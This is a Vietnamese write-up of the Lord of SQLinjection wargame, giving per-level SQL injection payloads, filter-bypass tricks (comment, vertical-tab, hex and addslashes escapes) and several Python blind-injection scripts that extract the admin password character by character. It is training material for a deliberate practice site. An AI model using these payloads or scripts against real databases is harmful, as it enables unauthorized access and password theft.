🇻🇳
th13
  • info
  • JAVA
    • Notes: RMI linh tinh
    • [CVE-2013-2165] Phân tích RichFaces vulnerability thông qua CTF challenge
  • CTF WRITE UP
    • [Web]ImaginaryCTF 2021
    • [Web]CSAW CTF 2021
    • [Web]RaRCTF 2021
    • [Web]LIT CTF 07/2021
    • [Web]redpwn 2021
    • [Web]WeCTF 2021
    • [Web]WannaGame 21/05/2021
    • [Web]San Diego CTF 2021
    • [Web]picoMini by redpwn
    • [Web]WannaGame 17/04/2021
    • [Web]picoCTF 2021
    • [Web]BambooCTF/Calc.exe
  • saved
    • Tài liệu JAV Sờ cu 101
    • [NT230]PE file Injection
    • [WU][web]root-me
    • [WU]Lord of SQLinjection
    • [WU][Web]CyberTalents
    • [exploit][sqli]Challenge ngày Tết
Powered by GitBook
On this page
  • poltergeist
  • cobolt
  • goblin
  • orc
  • wolfman
  • darkelf
  • orge
  • troll
  • vampire
  • skeleton
  • golem
  • darkknight
  • bugbear
  • giant
  • assasin
  • succubus
  • zombie_assassin

Was this helpful?

Edit on GitHub
  1. saved

[WU]Lord of SQLinjection

los.rubiya.kr

Previous[WU][web]root-meNext[WU][Web]CyberTalents

Last updated 4 years ago

Was this helpful?

poltergeist

Bài này ta chỉ cần để ý vào câu query: select id from prob_gremlin where id='' and pw=''

Câu query này có 2 tham số id và password ($_GET[id] và $_GET[pw] )

Nếu cả 2 tham số đều tồn tại thì $result sẽ được trả về giá trị của id và lúc này challenge sẽ được solved!!!

Việc ta cần làm là khiến cho điều kiện sau where của query luôn đúng trong khi không id và pw .

Payload: ?id=' or 1=1 -- -&pw=gicungduoc

Giải thích: Truyền payload vào id và comment đoạn sau ngay khi kết thúc payload

' : đóng tham số id

or 1=1 : điều kiện luôn đúng

-- - : comment phía sau và dấu gạch cuối để bảo có khoảng trắng

cobolt

Ta cần truyền 2 tham số id và pw . Trước khi query pw sẽ được hash md5 và đặc biệt ta được biết trước có tồn tại 1 giá trị của id là admin. Vậy để sau wherelà một điều kiện luôn đúng thì ta cho id='admin' và comment đoạn phía sau.

PAYLOAD: ?id=admin' -- -&pw=gicungduoc

goblin

Tại bài này ta thấy 1 điều đặc biệt đó là id đã bị gán mặc định là guest và ta chỉ được truyền dữ liệu cho no (kiểu int).

Như vậy ta phải tìm cách để query trả về giá trị id là admin.

Thử giá trị của no lầnlượt là 0, 1 thử thì ta nhận được giá trị của no=1 là của id guest.

Với câu query ban đầu: select id from prob_goblin where id='guest' and no=1

Điều kiện sau where là TRUE and TRUE = TRUE. Vậy nên sẽ luôn trả về id='guest' .

Ta không biết được giá trị no của admin là gì và ta cũng không thay được điều kiện id='guest' .

Điều kiện trong SQL nếu không có 'ngoặc' thì chúng sẽ thực hiện tuần tự and trước or sau. Nếu phía sau điều kiện id and với giá trị sai thì kết quả sẽ false và kết hợp với or true/false sẽ trả về true/false theo ta muốn, biểu diễn như sau: TRUE and FALSE or FALSE/TRUE = FALSE/TRUE

Kèm theo dữ kiện nocủa guest là 1 thì no của admin sẽ là 1 số khác 1.

PAYLOAD: ?no=0%20or%20no<>1

orc

Ở bài này mới gì vào thì ta thử ngày payload sau:

PAYLOAD: ?pw='or 1=1 -- -

Lúc này chỉ giải quyết được 1 nữa vấn đề.

Ta chú ý tới hàm addslahes() đã vô hiệu hóa dấu ' mà ta truyền vào.

Bài này mình nghĩ ngay đến phía server dùng GBK (UTF-8, Chinese). Nên thử dùng kỹ thuật multibyte chinese để bypass thử:

PAYLOAD: 縗' OR 1=1 -- -

Thế là phải suy nghĩ lại từ đầu @@ Ở query 1 điều kiện khá yếu và ở query ngoại trừ addslashes() thì còn phải đúng chính xác password thì mình nghĩ chắc phải viết scipt để blind sqli.

Để có được pasword mình phải làm từng bước như sau:

  • B1: Có được độ dài của password (id='admin' and 1=1or id='admin' and len(pw)=i)

  • B2: Đoán từng ký tự của password (id='admin' and 1=1or id='admin' and substr(pw,i,1)='a')

Vì ở đây nhờ khi đoán đúng thì response chứa <h2>Hello admin</h2> nên kỹ thuật sử dụng ở đây gọi là triggering conditional responses (theo portswigger). Tiến hành viết script python:

import requests
import string


url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
chars = string.digits + string.ascii_letters

# cookies: Ctrl+Shift+I -> Application -> Cookies
cookies = {'PHPSESSID': 'XXX'}

i = 1
lenpw = 0
while True:
    qry = f"?pw=' or id='admin' and length(pw)={i} -- -"
    url_qry = url + qry
    
    # get response of GET request
    res = requests.get(url_qry, cookies=cookies)
    
    if "<h2>Hello admin</h2>" in res.text:
        lenpw = i
        print(f"[+] Lengh of password: {i}")
        break

    i += 1

result = ""
for i in range(1, lenpw+1):
    for c in chars:
        qry = f"?pw=' or id='admin' and  substr(pw,{i},1)='{c}' -- -"
        url_qry = url + qry

        # get response of GET request
        res = requests.get(url_qry, cookies=cookies)

        if "<h2>Hello admin</h2>" in res.text:
            result += c
            break

if result != "":
    print(f"RESULT: {result}")
else:
    print("SOMETHING WAS WRONG")

Tèn ten đã có kết quả payload lúc này đơn giản là ?pw=095a9852

wolfman

Ở bài này có 1 hàm login_chk() khá lạ và phía dưới là filter khoảng trắng.

Việc bypass khoảng trắng ta có thể thay thế bằng những ký tự sau:

  • comment: /**/

  • tab: %09

  • carrage: %0d

  • return: %0a

Đã có cách bypass filter khoảng trắng giờ kết hợp với logic của bài goblin: TRUE and FALSE or TRUE = TRUE

PAYLOAD: ?pw=1'/**/or/**/id='admin

darkelf

Bài này thật bất ngờ vì đã filter or và and :) Nhưng lại chừa cho ta một con đường sống là union :D

Điều kiện kiểm tra $result['id'] = 'admin' là pass vậy chỉ union với SELECT 'admin' <3

Hoặc đơn giản hơn thay or với ||.

PAYLOAD: ?pw=' union SELECT 'admin HOẶC pw=' || id='admin

orge

Bài này kếp hợp của drakelf và orce :> thế là phải viết script để blind sqli.

Từng bước đoán độ dài và đoán từng ký tự ở từng vị trí:

import requests
import string


url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
chars = string.digits + string.ascii_letters

# cookies: Ctrl+Shift+I -> Application -> Cookies
cookies = {'PHPSESSID': 'XXX'}

i = 1
lenpw = 0
while True:
    qry = f"?pw=' || id='admin' %26%26 length(pw)={i} -- -"
    url_qry = url + qry

    # get response of GET request
    res = requests.get(url_qry, cookies=cookies)

    if "<h2>Hello " in res.text:
        lenpw = i
        print(f"[+] Lengh of password: {i}")
        break

    i += 1

result = ""
for i in range(1, lenpw+1):
    for c in chars:
        qry = f"?pw=' || id='admin' %26%26  substr(pw,{i},1)='{c}' -- -"
        url_qry = url + qry

        # get response of GET request
        res = requests.get(url_qry, cookies=cookies)

        if "<h2>Hello " in res.text:
            result += c
            break

if result != "":
    print(f"[+]RESULT: {result}")
else:
    print("SOMETHING WAS WRONG")

Kết quả nèeeee <3

troll

Tại bài này em đã khóc :< em vắt nát óc ra nghĩ tới 1 payload siêu cấp vũ trụ ơ nhưng không :)

MySQL không có phân biệt chữ hoa chữ thường :D cách giải như cái tên bài vậy :)))))

PAYLOAD: ?id=admiN

vampire

Bài này đúng là 1 con vampire :) thay vì hút máu thì nó hút mất admin của ta :D

Vậy thì cho hút :>

PAYLOAD: ?id=adadminmin (admin sẽ bị replace thì id sẽ còn admin)

skeleton

Bài này mới vào thử ngay payload cơ bản

Payload: ?pw= ' or id='admin' -- -

golem

Bài này là một bài blind sqli bị filter and và or giống bài orge. Ta có thể dùng hàm lenght() để tìm độ dài password nhưng hàm substr() đã bị filter nên cái khó là 1 hàm khác thay thế để đoán ra từng ký tự của password. Ngoài ra dấu = cũng đã bị filter.

Hàm mid() có chức năng tương tự hàm substr() và dùng like thay cho =. Bắt tay vào viết script:

import requests
import string


url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
chars = string.digits + string.ascii_letters

# cookies: Ctrl+Shift+I -> Application -> Cookies
cookies = {'PHPSESSID': 'XXX'}

i = 1
lenpw = 0
while True:
    qry = f"?pw=' || id like 'admin' %26%26 length(pw) like {i} -- -"
    url_qry = url + qry

    # get response of GET request
    res = requests.get(url_qry, cookies=cookies)

    if "<h2>Hello " in res.text:
        lenpw = i
        print(f"[+] Lengh of password: {i}")
        break

    i += 1

result = ""
for i in range(1, lenpw+1):
    for c in chars:
        qry = f"?pw=' || id like 'admin' %26%26  mid(pw,{i},1) like '{c}' -- -"
        url_qry = url + qry

        # get response of GET request
        res = requests.get(url_qry, cookies=cookies)

        if "<h2>Hello " in res.text:
            result += c
            break

if result != "":
    print(f"[+]RESULT: {result}")
else:
    print("SOMETHING WAS WRONG")

darkknight

Bài này có 2 tham số pw và no . Với pwlà string mà filter dấu ' là thấy khá khoai. Còn no là số cũng filter ' thì ít ra cũng dễ thở hơn. ==> Input vào là dãy hex sẽ bypass được các chuỗi cần ' (trong mysql có cơ chế tự động decode hex to text)

Cấm dùng ascii để chuyển char sang dec thì ta dùng ord , dùng mid thay cho substr và like thay cho = . Tiến hành viết script:

import requests
import string


url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
#chars = string.digits + string.ascii_letters

# cookies: Ctrl+Shift+I -> Application -> Cookies
cookies = {'PHPSESSID': 'XXX'}

i = 1
lenpw = 0
while True:
    #0x6964206c696b65202761646d696e27 : id like 'admin'
    qry = f"?pw=abc&no=0 || 0x6964206c696b65202761646d696e27 %26%26 length(pw) like {i} -- -"
    url_qry = url + qry

    # get response of GET request
    res = requests.get(url_qry, cookies=cookies)

    if "<h2>Hello" in res.text:
        lenpw = i
        print(f"[+] Lengh of password: {i}")
        break

    i += 1

result = ""
for i in range(1, lenpw+1):
    for c in range(48, 123):
        #0x6964206c696b65202761646d696e27 : id like 'admin'
        qry = f"?pw=abc&no=0 || 0x6964206c696b65202761646d696e27 %26%26  ord(mid(pw,{i},1)) like {c} -- -"
        url_qry = url + qry

        # get response of GET request
        res = requests.get(url_qry, cookies=cookies)

        if "<h2>Hello" in res.text:
            result += chr(c)
            break

if result != "":
    print(f"[+]RESULT: {result}")
else:
    print("SOMETHING WAS WRONG")

Ơ ??? thật không hiểu sao pasword dài 8 ký tự mà result có 7 ký tự thôi @@ mất đâu 1 ký tự.

Mình debug thử thì ký tự mất chính là ký tự cuối chữ f . Thật khó hiểu?? Ở 7 ký tự đầu tiên đều đúng response <h2>Hello admin</h2> nhưng riêng ký tự f cuối cùng thì trả về <h2>Hello guest</h2> ????????? Một sự khó hiểu???? @@

Khó hiểu thế nên mình sửa script lại :))) chứ không cách nào tìm ra nguyên lý để giải thích!!!!

Sửa đoạn hex id like 'admin' thành id like %admin thì sẽ response đúng kết quả mong muốn

Sau khi sửa thì đã có password!!!

bugbear

Tại bài này là sự kết hợp của tất cả các câu trên. Gồm có blind sqli và những filter khó chịu.

  • substr : mid

  • ascii : ord hex

  • = like : in

  • or : || (vô tình filter luôn ord vậy sẽ dùng hex)

  • and : && (%26%26 urlencoded)

  • ' : "

Thử nghiệm 1 payload để check độ dài (mặc định là 8)

?pw=abc&no=0||/**/id/**/in/**/("admin")/**/%26%26/**/length(pw)/**/in/**/("8")/**/%23

Thành công!!! Bắt đầu viết script:

import requests
import string


url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
chars = string.digits + string.ascii_letters

# cookies: Ctrl+Shift+I -> Application -> Cookies
cookies = {'PHPSESSID': 'XXX'}

i = 1
lenpw = 0
while True:
    qry = f'?pw=abc&no=0||/**/id/**/in/**/("admin")/**/%26%26/**/length(pw)/**/in/**/("{i}")/**/%23'
    url_qry = url + qry

    # get response of GET request
    res = requests.get(url_qry, cookies=cookies)

    if "<h2>Hello" in res.text:
        lenpw = i
        print(f"[+] Lengh of password: {i}")
        break

    i += 1

result = ""
for i in range(1, 9):
    for c in chars:
        qry = f'?pw=abc&no=0||/**/id/**/in/**/("admin")/**/%26%26/**/hex(mid(pw,{i},1))/**/in/**/(hex("{c}"))/**/%23'
        url_qry = url + qry

        # get response of GET request
        res = requests.get(url_qry, cookies=cookies)

        if "<h2>Hello" in res.text:
            result += c
            break

if result != "":
    print(f"[+]RESULT: {result}")
else:
    print("SOMETHING WAS WRONG")

giant

Tại bài này ta phải tách fromprob_giant ra để được câu query hoàn chỉnh. Nhưng độ dài giới hạn chỉ có 1 (không thể dùng /**/) và filter những ký tự thay cho space như %09 (\t), %0a (\n), %0d (\r). Nhưng sau một hồi tìm hiểu và thử thì mình biết đến 1 ký tự "vertical tab a.k.a %0b a.k.a \v".

PAYLOAD: ?shit=%0b

assasin

Thấy like thì liền dùng % wildcard.

Bước đầu đã thực hiện khá oke, mong muốn tiếp theo là trả về admin chứ không phải guest.

Với ý tưởng ban đầu của mình là kiểu gì password của admin sẽ tồn tại 1 ký tự mà password của guest sẽ không có nên chỉ cần chạy 1 vòng lặp ?pw=a% (thay a với tất cả ký tự thể hiện thị). Ơ :))) nhưng mà fail, chắc là password của admin và guest cùng bộ ký tự đó mà đã được hoán vị. :> Thôi thì đổi cách.

Ý tưởng script sẽ là match từ ký tự thứ nhất pw cho đến vị trí ký tự của admin và guest khác nhau:

import requests
import string
import sys

url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
chars = string.digits + string.ascii_letters

# cookies: Ctrl+Shift+I -> Application -> Cookies
cookies = {'PHPSESSID': 'ci2gq4f22u6sahma0s8v4cq1bo'}

pw = ""
for i in range(1, 9):
    for c in chars:
        qry = f'?pw={pw}{c}%'
        url_qry = url + qry

        # get response of GET request
        res = requests.get(url_qry, cookies=cookies)

        if "<h2>Hello guest</h2>" in res.text:
            pw += c
            print(qry)
            break

        if "<h2>Hello admin</h2>" in res.text:
            print(qry)
            print("DONE")
            sys.exit(1)

BONUS: mình debug để tìm được pw của cả 2 để tìm lý do fail của ý tưởng ban đầu của mình

  • PW admin: 902efd10

  • PW guest: 90d2fe10

=> cả 2 cùng bộ ký tự và hoán vị nhau.

succubus

Tại bài này ở 2 tham số id và pw đều đã bị filter dấu ' thì khá khó để inject gì vào.

Nhưng nhớ tới chế hoạt động của hàm addslashes() của php, chèn \ vào trước dấu ' thì Escape character sẽ xảy ra.

PAYLOAD: ?id=\&pw=or 1=1 -- - (Query: select id from prob_succubus where id='\' and pw=' or 1=1 -- -')

Lúc này phía sau dấu \ (phần in đậm) sẽ thành 1 chuỗi. FALSE or TRUE sẽ return TRUE.

zombie_assassin

Bài này cả 2 tham số id và pw trước khi được truyền vào query thì được đi qua lần lượt 2 hàm addslash() và strrev() .

addslash() thêm \ vào trước những ký tự nào?

Tạ ơn hàm strrev() vì nhờ hàm này mà sau khi chèn \ sẽ đảo ngược lại và mình áp dụng bài succubus. Ví dụ: " --> \" --> "\ --> ký tự' phía sau \ sẽ escape!!!

PAYLOAD: id="&pw=- -- 1=1 ro

solved
solved
solved
LOLLLLL :0 fail từ round 1
solved
solved
solved
solved
solved
solved
solved
solved
solved
solved
solved
solved
w3school
solved